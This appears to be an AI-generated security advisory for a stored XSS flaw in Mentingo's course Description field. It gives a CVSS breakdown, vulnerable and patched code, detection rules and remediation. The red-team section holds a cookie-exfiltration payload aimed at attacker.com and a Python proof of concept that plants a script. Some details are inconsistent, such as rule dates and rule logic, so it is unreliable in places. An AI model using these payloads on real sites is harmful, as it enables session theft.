CVE-2025-10388

Executive Summary

CVE-2025-10388 is a stored Cross-Site Scripting (XSS) vulnerability in Selleo Mentingo (version 2025.08.27). The flaw resides in the /api/course/enroll-course endpoint, specifically within the "Description" parameter during course creation. An authenticated attacker can inject arbitrary JavaScript, which will be stored and executed in the browsers of other users viewing the course details. The CVSS score is 3.5 (Low), but the public availability of an exploit and the vendor's lack of response elevate the risk. No patch is currently available.

Supply Chain & Package Security

This vulnerability is not related to an open-source package manager (NPM, PyPI, Go, Ruby). It affects a proprietary SaaS application (Selleo Mentingo). No supply chain compromise is involved.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:N
• Base Score: 3.5 (Low)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: Low (PR:L) – attacker must be an authenticated user.
• User Interaction: Required (UI:R) – victim must view the malicious course.
• Scope: Unchanged (S:U)
• Confidentiality Impact: None (C:N)
• Integrity Impact: Low (I:L) – injected script can modify page content or steal session tokens.
• Availability Impact: None (A:N)

Threat Level: Low (CVSS 3.5) but elevated due to public exploit and no patch.

Deep Dive & Mechanics

The vulnerability is a classic stored XSS in the course creation workflow. When an authenticated user creates a new course, the Description field is sent to the /api/course/enroll-course endpoint. The application fails to sanitize or encode the input before storing it in the database. When any user (including administrators) views the course details page, the malicious script is executed in their browser context.

Attack Flow:

1. Attacker logs into Mentingo.
2. Attacker creates a new course and injects a malicious payload (e.g., <script>alert('XSS')</script>) into the Description field.
3. The payload is stored in the database.
4. Victim navigates to the course details page.
5. The stored script executes in the victim's browser, potentially stealing cookies, session tokens, or performing actions on behalf of the victim.

Root Cause: Lack of output encoding/escaping on the Description field when rendering the course page.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// Server-side API handler (Node.js/Express example)
app.post('/api/course/enroll-course', (req, res) => {
  const { description } = req.body;
  // Directly stores unsanitized input
  db.courses.insert({ description: description });
  res.json({ success: true });
});

// Client-side rendering (Vue.js/React example)
<div v-html="course.description"></div>

Patched Code (Conceptual):

// Server-side: Sanitize input
const sanitizeHtml = require('sanitize-html');
app.post('/api/course/enroll-course', (req, res) => {
  const description = sanitizeHtml(req.body.description, {
    allowedTags: [],
    allowedAttributes: {}
  });
  db.courses.insert({ description: description });
  res.json({ success: true });
});

// Client-side: Use text interpolation instead of raw HTML
<div>{{ course.description }}</div>

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Valid Mentingo user account.
• Network access to the Mentingo instance.

Exploit Steps:

1. Log in to Mentingo.
2. Navigate to "Create New Course".
3. In the "Description" field, inject a payload:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

4. Submit the form.
5. Wait for a victim (e.g., admin) to view the course details.
6. The victim's cookies are exfiltrated to attacker.com.

Proof-of-Concept (Python):

import requests

target = "https://target-mentingo.com"
session = requests.Session()

# Login (replace with actual credentials)
login_data = {"username": "attacker", "password": "password123"}
session.post(f"{target}/api/login", json=login_data)

# Create malicious course
payload = {
    "title": "Malicious Course",
    "description": "<script>alert('XSS')</script>"
}
session.post(f"{target}/api/course/enroll-course", json=payload)
print("Malicious course created. Wait for victim to view it.")

Blue Team (Detection & Mitigation)

Detection:

• Monitor API logs for suspicious Description fields containing <script> tags or event handlers.
• Use a WAF to block common XSS payloads in the Description parameter.
• Implement Content Security Policy (CSP) headers to restrict script execution.

Mitigation:

• Apply input sanitization on the server side (e.g., using sanitize-html or DOMPurify).
• Use output encoding (e.g., textContent instead of innerHTML).
• If patching is not possible, disable the course creation feature or restrict it to trusted users.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP POST requests to /api/course/enroll-course with Description containing <script> tags.
  • Outbound connections to unknown domains from the Mentingo server (data exfiltration).
• File IOCs:
  • Log entries showing unsanitized HTML in the description field.
• Behavioral IOCs:
  • Unexpected course descriptions containing JavaScript code.
  • Unusual session activity from users viewing malicious courses.

Detection Engineering

YARA Rule

rule CVE_2025_10388_XSS_Payload {
    meta:
        description = "Detects XSS payloads targeting CVE-2025-10388 in Mentingo"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-10388"
    strings:
        $xss1 = /<script[^>]*>.*<\/script>/i
        $xss2 = /on\w+\s*=\s*['\"].*['\"]/i
        $xss3 = /javascript\s*:/i
    condition:
        any of them
}

Sigma Rule

title: CVE-2025-10388 - Stored XSS in Mentingo Course Description
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP requests to /api/course/enroll-course with XSS payloads in the Description parameter.
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/api/course/enroll-course'
        cs-uri-query|contains: 'Description='
    keywords:
        - '<script'
        - 'onerror='
        - 'onload='
        - 'javascript:'
    condition: selection and keywords
falsepositives:
    - Legitimate use of HTML in course descriptions (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-10388 - Stored XSS in Mentingo Course Description";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"/api/course/enroll-course";
    http_uri;
    content:"Description=";
    http_client_body;
    pcre:"/<script[^>]*>.*<\/script>/i";
    sid:1000001;
    rev:1;
    reference:cve,2025-10388;
)

Remediation & Mitigation

Immediate Actions:

1. Disable Course Creation: Temporarily disable the /api/course/enroll-course endpoint or restrict it to admin users only.
2. Web Application Firewall (WAF): Deploy WAF rules to block requests containing <script> tags or event handlers in the Description parameter.
3. Content Security Policy (CSP): Implement a strict CSP header (e.g., default-src 'self'; script-src 'none') to prevent execution of inline scripts.

Long-Term Fix:

• Input Sanitization: Use a library like sanitize-html (Node.js) or DOMPurify (client-side) to strip dangerous HTML tags and attributes.
• Output Encoding: Ensure all user-supplied data is rendered as text, not HTML (e.g., textContent instead of innerHTML).
• Vendor Patch: Since the vendor is unresponsive, consider migrating to an alternative platform or implementing a custom patch.

Valters IT Signature

This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.